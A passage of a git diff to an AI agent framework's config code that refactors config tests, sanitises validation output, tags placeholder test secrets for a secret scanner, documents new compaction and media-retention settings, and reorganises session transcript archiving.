clearRuntimeConfigSnapshot, + getRuntimeConfigSourceSnapshot, loadConfig, setRuntimeConfigSnapshot, writeConfigFile, } from "./io.js"; import type { OpenClawConfig } from "./types.js"; +function createSourceConfig(): OpenClawConfig { + return { + models: { + providers: { + openai: { + baseUrl: "https://api.openai.com/v1", + apiKey: { source: "env", provider: "default", id: "OPENAI_API_KEY" }, + models: [], + }, + }, + }, + }; +} + +function createRuntimeConfig(): OpenClawConfig { + return { + models: { + providers: { + openai: { + baseUrl: "https://api.openai.com/v1", + apiKey: "sk-runtime-resolved", // pragma: allowlist secret + models: [], + }, + }, + }, + }; +} + +function resetRuntimeConfigState(): void { + clearRuntimeConfigSnapshot(); + clearConfigCache(); +} + describe("runtime config snapshot writes", () => { + it("returns the source snapshot when runtime snapshot is active", async () => { + await withTempHome("openclaw-config-runtime-source-", async () => { + const sourceConfig = createSourceConfig(); + const runtimeConfig = createRuntimeConfig(); + try { + setRuntimeConfigSnapshot(runtimeConfig, sourceConfig); + expect(getRuntimeConfigSourceSnapshot()).toEqual(sourceConfig); + } finally { + resetRuntimeConfigState(); + } + }); + }); + + it("clears runtime source snapshot when runtime snapshot is cleared", async () => { + const sourceConfig = createSourceConfig(); + const runtimeConfig = createRuntimeConfig(); + + setRuntimeConfigSnapshot(runtimeConfig, sourceConfig); + resetRuntimeConfigState(); + expect(getRuntimeConfigSourceSnapshot()).toBeNull(); + }); + it("preserves source secret refs when writeConfigFile receives runtime-resolved config", async () => { await withTempHome("openclaw-config-runtime-write-", async (home) => { const configPath = path.join(home, ".openclaw", "openclaw.json"); - const sourceConfig: OpenClawConfig = { - models: { - providers: { - openai: { - baseUrl: "https://api.openai.com/v1", - apiKey: { source: "env", provider: "default", id: "OPENAI_API_KEY" }, - models: [], - }, - }, - }, - }; - const runtimeConfig: OpenClawConfig = { - models: { - providers: { - openai: { - baseUrl: "https://api.openai.com/v1", - apiKey: "sk-runtime-resolved", - models: [], - }, - }, - }, - }; + const sourceConfig = createSourceConfig(); + const runtimeConfig = createRuntimeConfig(); await fs.mkdir(path.dirname(configPath), { recursive: true }); await fs.writeFile(configPath, `${JSON.stringify(sourceConfig, null, 2)}\n`, "utf8"); @@ -56,8 +92,7 @@ describe("runtime config snapshot writes", () => { id: "OPENAI_API_KEY", }); } finally { - clearRuntimeConfigSnapshot(); - clearConfigCache(); + resetRuntimeConfigState(); } }); }); diff --git a/src/config/io.ts b/src/config/io.ts index a2a2af5d1b5..586dd9b3227 100644 --- a/src/config/io.ts +++ b/src/config/io.ts @@ -13,6 +13,7 @@ import { shouldDeferShellEnvFallback, shouldEnableShellEnvFallback, } from "../infra/shell-env.js"; +import { sanitizeTerminalText } from "../terminal/safe-text.js"; import { VERSION } from "../version.js"; import { DuplicateAgentDirError, findDuplicateAgentDirs } from "./agent-dirs.js"; import { maintainConfigBackups } from "./backup-rotation.js"; @@ -714,7 +715,10 @@ export function createConfigIO(overrides: ConfigIoDeps = {}) { const validated = validateConfigObjectWithPlugins(resolvedConfig); if (!validated.ok) { const details = validated.issues - .map((iss) => `- ${iss.path || ""}: ${iss.message}`) + .map( + (iss) => + `- ${sanitizeTerminalText(iss.path || "")}: ${sanitizeTerminalText(iss.message)}`, + ) .join("\n"); if (!loggedInvalidConfigs.has(configPath)) { loggedInvalidConfigs.add(configPath); @@ -727,7 +731,10 @@ export function createConfigIO(overrides: ConfigIoDeps = {}) { } if (validated.warnings.length > 0) { const details = validated.warnings - .map((iss) => `- ${iss.path || ""}: ${iss.message}`) + .map( + (iss) => + `- ${sanitizeTerminalText(iss.path || "")}: ${sanitizeTerminalText(iss.message)}`, + ) .join("\n"); deps.logger.warn(`Config warnings:\\n${details}`); } @@ -1345,6 +1352,10 @@ export function getRuntimeConfigSnapshot(): OpenClawConfig | null { return runtimeConfigSnapshot; } +export function getRuntimeConfigSourceSnapshot(): OpenClawConfig | null { + return runtimeConfigSourceSnapshot; +} + export function loadConfig(): OpenClawConfig { if (runtimeConfigSnapshot) { return runtimeConfigSnapshot; diff --git a/src/config/model-alias-defaults.test.ts b/src/config/model-alias-defaults.test.ts index d6728858af8..30efe8451d2 100644 --- a/src/config/model-alias-defaults.test.ts +++ b/src/config/model-alias-defaults.test.ts @@ -111,7 +111,7 @@ describe("applyModelDefaults", () => { providers: { anthropic: { baseUrl: "https://relay.example.com/api", - apiKey: "cr_xxxx", + apiKey: "cr_xxxx", // pragma: allowlist secret models: [ { id: "claude-opus-4-6", diff --git a/src/config/redact-snapshot.test.ts b/src/config/redact-snapshot.test.ts index 3abaea37f44..e173be34ec8 100644 --- a/src/config/redact-snapshot.test.ts +++ b/src/config/redact-snapshot.test.ts @@ -120,7 +120,7 @@ describe("redactConfigSnapshot", () => { serviceAccount: { type: "service_account", client_email: "bot@example.iam.gserviceaccount.com", - private_key: "-----BEGIN PRIVATE KEY-----secret-----END PRIVATE KEY-----", + private_key: "-----BEGIN PRIVATE KEY-----secret-----END PRIVATE KEY-----", // pragma: allowlist secret }, }, }, @@ -259,7 +259,7 @@ describe("redactConfigSnapshot", () => { const config = { gateway: { mode: "local", - auth: { password: "local" }, + auth: { password: "local" }, // pragma: allowlist secret }, }; const snapshot = makeSnapshot(config, JSON.stringify(config)); @@ -299,7 +299,7 @@ describe("redactConfigSnapshot", () => { it("handles overlap fallback and SecretRef in the same snapshot", () => { const config = { - gateway: { mode: "default", auth: { password: "default" } }, + gateway: { mode: "default", auth: { password: "default" } }, // pragma: allowlist secret models: { providers: { default: { @@ -780,7 +780,7 @@ describe("redactConfigSnapshot", () => { }; const snapshot = makeSnapshot({ env: { - GROQ_API_KEY: "gsk-secret-123", + GROQ_API_KEY: "gsk-secret-123", // pragma: allowlist secret NODE_ENV: "production", }, }); @@ -803,7 +803,7 @@ describe("redactConfigSnapshot", () => { entries: { web_search: { env: { - GEMINI_API_KEY: "gemini-secret-456", + GEMINI_API_KEY: "gemini-secret-456", // pragma: allowlist secret BRAVE_REGION: "us", }, }, @@ -828,14 +828,14 @@ describe("redactConfigSnapshot", () => { const hints = mainSchemaHints; const snapshot = makeSnapshot({ env: { - GROQ_API_KEY: "gsk-contract-123", + GROQ_API_KEY: "gsk-contract-123", // pragma: allowlist secret NODE_ENV: "production", }, skills: { entries: { web_search: { env: { - GEMINI_API_KEY: "gemini-contract-456", + GEMINI_API_KEY: "gemini-contract-456", // pragma: allowlist secret BRAVE_REGION: "us", }, }, diff --git a/src/config/runtime-group-policy-provider.ts b/src/config/runtime-group-policy-provider.ts deleted file mode 100644 index 887f35c3a0e..00000000000 --- a/src/config/runtime-group-policy-provider.ts +++ /dev/null @@ -1,19 +0,0 @@ -import { resolveRuntimeGroupPolicy } from "./runtime-group-policy.js"; -import type { GroupPolicy } from "./types.base.js"; - -export function resolveProviderRuntimeGroupPolicy(params: { - providerConfigPresent: boolean; - groupPolicy?: GroupPolicy; - defaultGroupPolicy?: GroupPolicy; -}): { - groupPolicy: GroupPolicy; - providerMissingFallbackApplied: boolean; -} { - return resolveRuntimeGroupPolicy({ - providerConfigPresent: params.providerConfigPresent, - groupPolicy: params.groupPolicy, - defaultGroupPolicy: params.defaultGroupPolicy, - configuredFallbackPolicy: "open", - missingProviderFallbackPolicy: "allowlist", - }); -} diff --git a/src/config/schema.help.quality.test.ts b/src/config/schema.help.quality.test.ts index 146ffc17101..f660af8831e 100644 --- a/src/config/schema.help.quality.test.ts +++ b/src/config/schema.help.quality.test.ts @@ -372,9 +372,11 @@ const TARGET_KEYS = [ "agents.defaults.compaction.maxHistoryShare", "agents.defaults.compaction.identifierPolicy", "agents.defaults.compaction.identifierInstructions", + "agents.defaults.compaction.recentTurnsPreserve", "agents.defaults.compaction.qualityGuard", "agents.defaults.compaction.qualityGuard.enabled", "agents.defaults.compaction.qualityGuard.maxRetries", + "agents.defaults.compaction.postCompactionSections", "agents.defaults.compaction.memoryFlush", "agents.defaults.compaction.memoryFlush.enabled", "agents.defaults.compaction.memoryFlush.softThresholdTokens", @@ -773,6 +775,9 @@ describe("config help copy quality", () => { it("documents auth/model root semantics and provider secret handling", () => { const providerKey = FIELD_HELP["models.providers.*.apiKey"]; expect(/secret|env|credential/i.test(providerKey)).toBe(true); + const modelsMode = FIELD_HELP["models.mode"]; + expect(modelsMode.includes("SecretRef-managed")).toBe(true); + expect(modelsMode.includes("preserve")).toBe(true); const bedrockRefresh = FIELD_HELP["models.bedrockDiscovery.refreshInterval"]; expect(/refresh|seconds|interval/i.test(bedrockRefresh)).toBe(true); @@ -795,6 +800,15 @@ describe("config help copy quality", () => { expect(identifierPolicy.includes('"off"')).toBe(true); expect(identifierPolicy.includes('"custom"')).toBe(true); + const recentTurnsPreserve = FIELD_HELP["agents.defaults.compaction.recentTurnsPreserve"]; + expect(/recent.*turn|verbatim/i.test(recentTurnsPreserve)).toBe(true); + expect(/default:\s*3/i.test(recentTurnsPreserve)).toBe(true); + + const postCompactionSections = FIELD_HELP["agents.defaults.compaction.postCompactionSections"]; + expect(/Session Startup|Red Lines/i.test(postCompactionSections)).toBe(true); + expect(/Every Session|Safety/i.test(postCompactionSections)).toBe(true); + expect(/\[\]|disable/i.test(postCompactionSections)).toBe(true); + const flush = FIELD_HELP["agents.defaults.compaction.memoryFlush.enabled"]; expect(/pre-compaction|memory flush|token/i.test(flush)).toBe(true); }); diff --git a/src/config/schema.help.ts b/src/config/schema.help.ts index 911d08620e2..f0d30c854e7 100644 --- a/src/config/schema.help.ts +++ b/src/config/schema.help.ts @@ -150,7 +150,7 @@ export const FIELD_HELP: Record = { "talk.providers.*.voiceAliases": "Optional provider voice alias map for Talk directives.", "talk.providers.*.modelId": "Provider default model ID for Talk mode.", "talk.providers.*.outputFormat": "Provider default output format for Talk mode.", - "talk.providers.*.apiKey": "Provider API key for Talk mode.", + "talk.providers.*.apiKey": "Provider API key for Talk mode.", // pragma: allowlist secret "talk.voiceId": "Legacy ElevenLabs default voice ID for Talk mode. Prefer talk.providers.elevenlabs.voiceId.", "talk.voiceAliases": @@ -423,9 +423,11 @@ export const FIELD_HELP: Record = { "nodeHost.browserProxy.allowProfiles": "Optional allowlist of browser profile names exposed through node proxy routing. Leave empty to expose all configured profiles, or use a tight list to enforce least-privilege profile access.", media: - "Top-level media behavior shared across providers and tools that handle inbound files. Keep defaults unless you need stable filenames for external processing pipelines.", + "Top-level media behavior shared across providers and tools that handle inbound files. Keep defaults unless you need stable filenames for external processing pipelines or longer-lived inbound media retention.", "media.preserveFilenames": "When enabled, uploaded media keeps its original filename instead of a generated temp-safe name. Turn this on when downstream automations depend on stable names, and leave off to reduce accidental filename leakage.", + "media.ttlHours": + "Optional retention window in hours for persisted inbound media cleanup across the full media tree. Leave unset to preserve legacy behavior, or set values like 24 (1 day) or 168 (7 days) when you want automatic cleanup.", audio: "Global audio ingestion settings used before higher-level tools process speech or media content. Configure this when you need deterministic transcription behavior for voice notes and clips.", "audio.transcription": @@ -651,7 +653,7 @@ export const FIELD_HELP: Record = { "tools.web.search.gemini.apiKey": "Gemini API key for Google Search grounding (fallback: GEMINI_API_KEY env var).", "tools.web.search.gemini.model": 'Gemini model override (default: "gemini-2.5-flash").', - "tools.web.search.grok.apiKey": "Grok (xAI) API key (fallback: XAI_API_KEY env var).", + "tools.web.search.grok.apiKey": "Grok (xAI) API key (fallback: XAI_API_KEY env var).", // pragma: allowlist secret "tools.web.search.grok.model": 'Grok model override (default: "grok-4-1-fast").', "tools.web.search.kimi.apiKey": "Moonshot/Kimi API key (fallback: KIMI_API_KEY or MOONSHOT_API_KEY env var).", @@ -686,7 +688,7 @@ export const FIELD_HELP: Record = { models: "Model catalog root for provider definitions, merge/replace behavior, and optional Bedrock discovery integration. Keep provider definitions explicit and validated before relying on production failover paths.", "models.mode": - 'Controls provider catalog behavior: "merge" keeps built-ins and overlays your custom providers, while "replace" uses only your configured providers. In "merge", matching provider IDs preserve non-empty agent models.json apiKey/baseUrl values and fall back to config when agent values are empty or missing; matching model contextWindow/maxTokens use the higher value between explicit and implicit entries.', + 'Controls provider catalog behavior: "merge" keeps built-ins and overlays your custom providers, while "replace" uses only your configured providers. In "merge", matching provider IDs preserve non-empty agent models.json baseUrl values, while apiKey values are preserved only when the provider is not SecretRef-managed in current config/auth-profile context; SecretRef-managed providers refresh apiKey from current source markers, and matching model contextWindow/maxTokens use the higher value between explicit and implicit entries.', "models.providers": "Provider map keyed by provider ID containing connection/auth settings and concrete model definitions. Use stable provider keys so references from agents and tooling remain portable across environments.", "models.providers.*.baseUrl": @@ -927,6 +929,8 @@ export const FIELD_HELP: Record = { "Selects which plugins own exclusive runtime slots such as memory so only one plugin provides that capability. Use explicit slot ownership to avoid overlapping providers with conflicting behavior.", "plugins.slots.memory": 'Select the active memory plugin by id, or "none" to disable memory plugins.', + "plugins.slots.contextEngine": + "Selects the active context engine plugin by id so one plugin provides context orchestration behavior.", "plugins.entries": "Per-plugin settings keyed by plugin ID including enablement and plugin-specific runtime configuration payloads. Use this for scoped plugin tuning without changing global loader policy.", "plugins.entries.*.enabled": @@ -995,12 +999,16 @@ export const FIELD_HELP: Record = { 'Identifier-preservation policy for compaction summaries: "strict" prepends built-in opaque-identifier retention guidance (default), "off" disables this prefix, and "custom" uses identifierInstructions. Keep "strict" unless you have a specific compatibility need.', "agents.defaults.compaction.identifierInstructions": 'Custom identifier-preservation instruction text used when identifierPolicy="custom". Keep this explicit and safety-focused so compaction summaries do not rewrite opaque IDs, URLs, hosts, or ports.', + "agents.defaults.compaction.recentTurnsPreserve": + "Number of most recent user/assistant turns kept verbatim outside safeguard summarization (default: 3). Raise this to preserve exact recent dialogue context, or lower it to maximize compaction savings.", "agents.defaults.compaction.qualityGuard": "Optional quality-audit retry settings for safeguard compaction summaries. Leave this disabled unless you explicitly want summary audits and one-shot regeneration on failed checks.", "agents.defaults.compaction.qualityGuard.enabled": "Enables summary quality audits and regeneration retries for safeguard compaction. Default: false, so safeguard mode alone does not turn on retry behavior.", "agents.defaults.compaction.qualityGuard.maxRetries": "Maximum number of regeneration retries after a failed safeguard summary quality audit. Use small values to bound extra latency and token cost.", + "agents.defaults.compaction.postCompactionSections": + 'AGENTS.md H2/H3 section names re-injected after compaction so the agent reruns critical startup guidance. Leave unset to use "Session Startup"/"Red Lines" with legacy fallback to "Every Session"/"Safety"; set to [] to disable reinjection entirely.', "agents.defaults.compaction.memoryFlush": "Pre-compaction memory flush settings that run an agentic memory write before heavy compaction. Keep enabled for long sessions so salient context is persisted before aggressive trimming.", "agents.defaults.compaction.memoryFlush.enabled": @@ -1142,13 +1150,13 @@ export const FIELD_HELP: Record = { "cron.maxConcurrentRuns": "Limits how many cron jobs can execute at the same time when multiple schedules fire together. Use lower values to protect CPU/memory under heavy automation load, or raise carefully for higher throughput.", "cron.retry": - "Overrides the default retry policy for one-shot jobs when they fail with transient errors (rate limit, network, server_error). Omit to use defaults: maxAttempts 3, backoffMs [30000, 60000, 300000], retry all transient types.", + "Overrides the default retry policy for one-shot jobs when they fail with transient errors (rate limit, overloaded, network, server_error). Omit to use defaults: maxAttempts 3, backoffMs [30000, 60000, 300000], retry all transient types.", "cron.retry.maxAttempts": "Max retries for one-shot jobs on transient errors before permanent disable (default: 3).", "cron.retry.backoffMs": "Backoff delays in ms for each retry attempt (default: [30000, 60000, 300000]). Use shorter values for faster retries.", "cron.retry.retryOn": - "Error types to retry: rate_limit, network, timeout, server_error. Use to restrict which errors trigger retries; omit to retry all transient types.", + "Error types to retry: rate_limit, overloaded, network, timeout, server_error. Use to restrict which errors trigger retries; omit to retry all transient types.", "cron.webhook": 'Deprecated legacy fallback webhook URL used only for old jobs with `notify=true`. Migrate to per-job delivery using `delivery.mode="webhook"` plus `delivery.to`, and avoid relying on this global field.', "cron.webhookToken": diff --git a/src/config/schema.hints.test.ts b/src/config/schema.hints.test.ts index 41ac8b1aa5d..e21a330f2e6 100644 --- a/src/config/schema.hints.test.ts +++ b/src/config/schema.hints.test.ts @@ -135,6 +135,7 @@ describe("mapSensitivePaths", () => { expect(hints["channels.discord.accounts.*.token"]?.sensitive).toBe(true); expect(hints["channels.googlechat.serviceAccount"]?.sensitive).toBe(true); expect(hints["gateway.auth.token"]?.sensitive).toBe(true); + expect(hints["models.providers.*.headers.*"]?.sensitive).toBe(true); expect(hints["skills.entries.*.apiKey"]?.sensitive).toBe(true); }); }); diff --git a/src/config/schema.labels.ts b/src/config/schema.labels.ts index 9454df66fb1..9266516b957 100644 --- a/src/config/schema.labels.ts +++ b/src/config/schema.labels.ts @@ -217,14 +217,14 @@ export const FIELD_LABELS: Record = { "tools.web.search.maxResults": "Web Search Max Results", "tools.web.search.timeoutSeconds": "Web Search Timeout (sec)", "tools.web.search.cacheTtlMinutes": "Web Search Cache TTL (min)", - "tools.web.search.perplexity.apiKey": "Perplexity API Key", + "tools.web.search.perplexity.apiKey": "Perplexity API Key", // pragma: allowlist secret "tools.web.search.perplexity.baseUrl": "Perplexity Base URL", "tools.web.search.perplexity.model": "Perplexity Model", - "tools.web.search.gemini.apiKey": "Gemini Search API Key", + "tools.web.search.gemini.apiKey": "Gemini Search API Key", // pragma: allowlist secret "tools.web.search.gemini.model": "Gemini Search Model", - "tools.web.search.grok.apiKey": "Grok Search API Key", + "tools.web.search.grok.apiKey": "Grok Search API Key", // pragma: allowlist secret "tools.web.search.grok.model": "Grok Search Model", - "tools.web.search.kimi.apiKey": "Kimi Search API Key", + "tools.web.search.kimi.apiKey": "Kimi Search API Key", // pragma: allowlist secret "tools.web.search.kimi.baseUrl": "Kimi Search Base URL", "tools.web.search.kimi.model": "Kimi Search Model", "tools.web.fetch.enabled": "Enable Web Fetch Tool", @@ -236,7 +236,7 @@ export const FIELD_LABELS: Record = { "tools.web.fetch.userAgent": "Web Fetch User-Agent", "tools.web.fetch.readability": "Web Fetch Readability Extraction", "tools.web.fetch.firecrawl.enabled": "Enable Firecrawl Fallback", - "tools.web.fetch.firecrawl.apiKey": "Firecrawl API Key", + "tools.web.fetch.firecrawl.apiKey": "Firecrawl API Key", // pragma: allowlist secret "tools.web.fetch.firecrawl.baseUrl": "Firecrawl Base URL", "tools.web.fetch.firecrawl.onlyMainContent": "Firecrawl Main Content Only", "tools.web.fetch.firecrawl.maxAgeMs": "Firecrawl Cache Max Age (ms)", @@ -278,6 +278,7 @@ export const FIELD_LABELS: Record = { "nodeHost.browserProxy.allowProfiles": "Node Browser Proxy Allowed Profiles", media: "Media", "media.preserveFilenames": "Preserve Media Filenames", + "media.ttlHours": "Media Retention TTL (hours)", audio: "Audio", "audio.transcription": "Audio Transcription", "audio.transcription.command": "Audio Transcription Command", @@ -411,7 +412,7 @@ export const FIELD_LABELS: Record = { "models.mode": "Model Catalog Mode", "models.providers": "Model Providers", "models.providers.*.baseUrl": "Model Provider Base URL", - "models.providers.*.apiKey": "Model Provider API Key", + "models.providers.*.apiKey": "Model Provider API Key", // pragma: allowlist secret "models.providers.*.auth": "Model Provider Auth Mode", "models.providers.*.api": "Model Provider API Adapter", "models.providers.*.injectNumCtxForOpenAICompat": "Model Provider Inject num_ctx (OpenAI Compat)", @@ -451,9 +452,11 @@ export const FIELD_LABELS: Record = { "agents.defaults.compaction.maxHistoryShare": "Compaction Max History Share", "agents.defaults.compaction.identifierPolicy": "Compaction Identifier Policy", "agents.defaults.compaction.identifierInstructions": "Compaction Identifier Instructions", + "agents.defaults.compaction.recentTurnsPreserve": "Compaction Preserve Recent Turns", "agents.defaults.compaction.qualityGuard": "Compaction Quality Guard", "agents.defaults.compaction.qualityGuard.enabled": "Compaction Quality Guard Enabled", "agents.defaults.compaction.qualityGuard.maxRetries": "Compaction Quality Guard Max Retries", + "agents.defaults.compaction.postCompactionSections": "Post-Compaction Context Sections", "agents.defaults.compaction.memoryFlush": "Compaction Memory Flush", "agents.defaults.compaction.memoryFlush.enabled": "Compaction Memory Flush Enabled", "agents.defaults.compaction.memoryFlush.softThresholdTokens": @@ -483,7 +486,7 @@ export const FIELD_LABELS: Record = { "commands.useAccessGroups": "Use Access Groups", "commands.ownerAllowFrom": "Command Owners", "commands.ownerDisplay": "Owner ID Display", - "commands.ownerDisplaySecret": "Owner ID Hash Secret", + "commands.ownerDisplaySecret": "Owner ID Hash Secret", // pragma: allowlist secret "commands.allowFrom": "Command Elevated Access Rules", ui: "UI", "ui.seamColor": "Accent Color", @@ -678,8 +681,8 @@ export const FIELD_LABELS: Record = { "talk.providers.*.voiceAliases": "Talk Provider Voice Aliases", "talk.providers.*.modelId": "Talk Provider Model ID", "talk.providers.*.outputFormat": "Talk Provider Output Format", - "talk.providers.*.apiKey": "Talk Provider API Key", - "talk.apiKey": "Talk API Key", + "talk.providers.*.apiKey": "Talk Provider API Key", // pragma: allowlist secret + "talk.apiKey": "Talk API Key", // pragma: allowlist secret channels: "Channels", "channels.defaults": "Channel Defaults", "channels.defaults.groupPolicy": "Default Group Policy", @@ -817,11 +820,12 @@ export const FIELD_LABELS: Record = { "plugins.load.paths": "Plugin Load Paths", "plugins.slots": "Plugin Slots", "plugins.slots.memory": "Memory Plugin", + "plugins.slots.contextEngine": "Context Engine Plugin", "plugins.entries": "Plugin Entries", "plugins.entries.*.enabled": "Plugin Enabled", "plugins.entries.*.hooks": "Plugin Hook Policy", "plugins.entries.*.hooks.allowPromptInjection": "Allow Prompt Injection Hooks", - "plugins.entries.*.apiKey": "Plugin API Key", + "plugins.entries.*.apiKey": "Plugin API Key", // pragma: allowlist secret "plugins.entries.*.env": "Plugin Environment Variables", "plugins.entries.*.config": "Plugin Config", "plugins.installs": "Plugin Install Records", diff --git a/src/config/schema.test.ts b/src/config/schema.test.ts index bce33bad7b9..54aaa79c846 100644 --- a/src/config/schema.test.ts +++ b/src/config/schema.test.ts @@ -143,6 +143,32 @@ describe("config schema", () => { expect(channelProps?.accessToken).toBeTruthy(); }); + it("looks up plugin config paths for slash-delimited plugin ids", () => { + const res = buildConfigSchema({ + plugins: [ + { + id: "pack/one", + name: "Pack One", + configSchema: { + type: "object", + properties: { + provider: { type: "string" }, + }, + }, + }, + ], + }); + + const lookup = lookupConfigSchema(res, "plugins.entries.pack/one.config"); + expect(lookup?.path).toBe("plugins.entries.pack/one.config"); + expect(lookup?.hintPath).toBe("plugins.entries.pack/one.config"); + expect(lookup?.children.find((child) => child.key === "provider")).toMatchObject({ + key: "provider", + path: "plugins.entries.pack/one.config.provider", + type: "string", + }); + }); + it("adds heartbeat target hints with dynamic channels", () => { const res = buildConfigSchema(heartbeatChannelInput); diff --git a/src/config/sessions/store.ts b/src/config/sessions/store.ts index 96eea548598..a70285c4c62 100644 --- a/src/config/sessions/store.ts +++ b/src/config/sessions/store.ts @@ -108,11 +108,11 @@ function removeThreadFromDeliveryContext(context?: DeliveryContext): DeliveryCon return next; } -function normalizeStoreSessionKey(sessionKey: string): string { +export function normalizeStoreSessionKey(sessionKey: string): string { return sessionKey.trim().toLowerCase(); } -function resolveStoreSessionEntry(params: { +export function resolveSessionStoreEntry(params: { store: Record; sessionKey: string; }): { @@ -275,7 +275,7 @@ export function readSessionUpdatedAt(params: { }): number | undefined { try { const store = loadSessionStore(params.storePath); - const resolved = resolveStoreSessionEntry({ store, sessionKey: params.sessionKey }); + const resolved = resolveSessionStoreEntry({ store, sessionKey: params.sessionKey }); return resolved.existing?.updatedAt; } catch { return undefined; @@ -405,20 +405,15 @@ async function saveSessionStoreUnlocked( .map((entry) => entry?.sessionId) .filter((id): id is string => Boolean(id)), ); - for (const [sessionId, sessionFile] of removedSessionFiles) { - if (referencedSessionIds.has(sessionId)) { - continue; - } - const archived = archiveSessionTranscripts({ - sessionId, - storePath, - sessionFile, - reason: "deleted", - restrictToStoreDir: true, - }); - for (const archivedPath of archived) { - archivedDirs.add(path.dirname(archivedPath)); - } + const archivedForDeletedSessions = archiveRemovedSessionTranscripts({ + removedSessionFiles, + referencedSessionIds, + storePath, + reason: "deleted", + restrictToStoreDir: true, + }); + for (const archivedDir of archivedForDeletedSessions) { + archivedDirs.add(archivedDir); } if (archivedDirs.size > 0 || maintenance.resetArchiveRetentionMs != null) { const targetDirs = @@ -574,6 +569,32 @@ function rememberRemovedSessionFile( } } +export function archiveRemovedSessionTranscripts(params: { + removedSessionFiles: Iterable<[string, string | undefined]>; + referencedSessionIds: ReadonlySet; + storePath: string; + reason: "deleted" | "reset"; + restrictToStoreDir?: boolean; +}): Set { + const archivedDirs = new Set(); + for (const [sessionId, sessionFile] of params.removedSessionFiles) { + if (params.referencedSessionIds.has(sessionId)) { + continue; + } + const archived = archiveSessionTranscripts({ + sessionId, + storePath: params.storePath, + sessionFile, + reason: params.reason, + restrictToStoreDir: params.restrictToStoreDir, + }); + for (const archivedPath of archived) { + archivedDirs.add(path.dirname(archivedPath)); + } + } + return archivedDirs; +} + async function writeSessionStoreAtomic(params: { storePath: string; store: Record; @@ -590,7 +611,7 @@ async function writeSessionStoreAtomic(params: { async function persistResolvedSessionEntry(params: { storePath: string; store: Record; - resolved: ReturnType; + resolved: ReturnType; next: SessionEntry; }): Promise { params.store[params.resolved.normalizedKey] = params.next; @@ -713,7 +734,7 @@ export async function updateSessionStoreEntry(params: { const { storePath, sessionKey, update } = params; return await withSessionStoreLock(storePath, async () => { const store = loadSessionStore(storePath, { skipCache: true }); - const resolved = resolveStoreSessionEntry({ store, sessionKey }); + const resolved = resolveSessionStoreEntry({ store, sessionKey }); const existing = resolved.existing; if (!existing) { return null; @@ -744,7 +765,7 @@ export async function recordSessionMetaFromInbound(params: { return await updateSessionStore( storePath, (store) => { - const resolved = resolveStoreSessionEntry({ store, sessionKey }); + const resolved = resolveSessionStoreEntry({ store, sessionKey }); const existing = resolved.existing; const patch = deriveSessionMetaPatch({ ctx, @@ -793,7 +814,7 @@ export async function updateLastRoute(params: { const { storePath, sessionKey, channel, to, accountId, threadId, ctx } = params; return await withSessionStoreLock(storePath, async () => { const store = loadSessionStore(storePath); - const resolved = resolveStoreSessionEntry({ store, sessionKey }); + const resolved = resolveSessionStoreEntry({ store, sessionKey }); const existing = resolved.existing; const now = Date.now(); const explicitContext = normalizeDeliveryContext(params.deliveryContext); diff --git a/src/config/talk.normalize.test.ts b/src/config/talk.normalize.test.ts index 1157fb1834f..f61bdc7e924 100644 --- a/src/config/talk.normalize.test.ts +++ b/src/config/talk.normalize.test.ts @@ -6,6 +6,9 @@ import { withEnvAsync } from "../test-utils/env.js"; import { createConfigIO } from "./io.js"; import { normalizeTalkSection } from "./talk.js"; +const envVar = (...parts: string[]) => parts.join("_"); +const elevenLabsApiKeyEnv = ["ELEVENLABS_API", "KEY"].join("_"); + async function withTempConfig( config: unknown, run: (configPath: string) => Promise, @@ -24,10 +27,10 @@ describe("talk normalization", () => { it("maps legacy ElevenLabs fields into provider/providers", () => { const normalized = normalizeTalkSection({ voiceId: "voice-123", - voiceAliases: { Clawd: "EXAVITQu4vr4xnSDxMaL" }, + voiceAliases: { Clawd: "EXAVITQu4vr4xnSDxMaL" }, // pragma: allowlist secret modelId: "eleven_v3", outputFormat: "pcm_44100", - apiKey: "secret-key", + apiKey: "secret-key", // pragma: allowlist secret interruptOnSpeech: false, }); @@ -39,14 +42,14 @@ describe("talk normalization", () => { voiceAliases: { Clawd: "EXAVITQu4vr4xnSDxMaL" }, modelId: "eleven_v3", outputFormat: "pcm_44100", - apiKey: "secret-key", + apiKey: "secret-key", // pragma: allowlist secret }, }, voiceId: "voice-123", voiceAliases: { Clawd: "EXAVITQu4vr4xnSDxMaL" }, modelId: "eleven_v3", outputFormat: "pcm_44100", - apiKey: "secret-key", + apiKey: "secret-key", // pragma: allowlist secret interruptOnSpeech: false, }); }); @@ -98,7 +101,9 @@ describe("talk normalization", () => { }); it("merges ELEVENLABS_API_KEY into normalized defaults for legacy configs", async () => { - await withEnvAsync({ ELEVENLABS_API_KEY: "env-eleven-key" }, async () => { + // pragma: allowlist secret + const elevenLabsApiKey = "env-eleven-key"; // pragma: allowlist secret + await withEnvAsync({ [elevenLabsApiKeyEnv]: elevenLabsApiKey }, async () => { await withTempConfig( { talk: { @@ -110,15 +115,16 @@ describe("talk normalization", () => { const snapshot = await io.readConfigFileSnapshot(); expect(snapshot.config.talk?.provider).toBe("elevenlabs"); expect(snapshot.config.talk?.providers?.elevenlabs?.voiceId).toBe("voice-123"); - expect(snapshot.config.talk?.providers?.elevenlabs?.apiKey).toBe("env-eleven-key"); - expect(snapshot.config.talk?.apiKey).toBe("env-eleven-key"); + expect(snapshot.config.talk?.providers?.elevenlabs?.apiKey).toBe(elevenLabsApiKey); + expect(snapshot.config.talk?.apiKey).toBe(elevenLabsApiKey); }, ); }); }); it("does not apply ELEVENLABS_API_KEY when active provider is not elevenlabs", async () => { - await withEnvAsync({ ELEVENLABS_API_KEY: "env-eleven-key" }, async () => { + const elevenLabsApiKey = "env-eleven-key"; // pragma: allowlist secret + await withEnvAsync({ [elevenLabsApiKeyEnv]: elevenLabsApiKey }, async () => { await withTempConfig( { talk: { @@ -143,7 +149,7 @@ describe("talk normalization", () => { }); it("does not inject ELEVENLABS_API_KEY fallback when talk.apiKey is SecretRef", async () => { - await withEnvAsync({ ELEVENLABS_API_KEY: "env-eleven-key" }, async () => { + await withEnvAsync({ [envVar("ELEVENLABS", "API", "KEY")]: "env-eleven-key" }, async () => { await withTempConfig( { talk: { diff --git a/src/config/telegram-webhook-port.test.ts b/src/config/telegram-webhook-port.test.ts index 80fdf3a5ce8..f2ffce5419b 100644 --- a/src/config/telegram-webhook-port.test.ts +++ b/src/config/telegram-webhook-port.test.ts @@ -7,7 +7,7 @@ describe("Telegram webhookPort config", () => { channels: { telegram: { webhookUrl: "https://example.com/telegram-webhook", - webhookSecret: "secret", + webhookSecret: "secret", // pragma: allowlist secret webhookPort: 8787, }, }, @@ -20,7 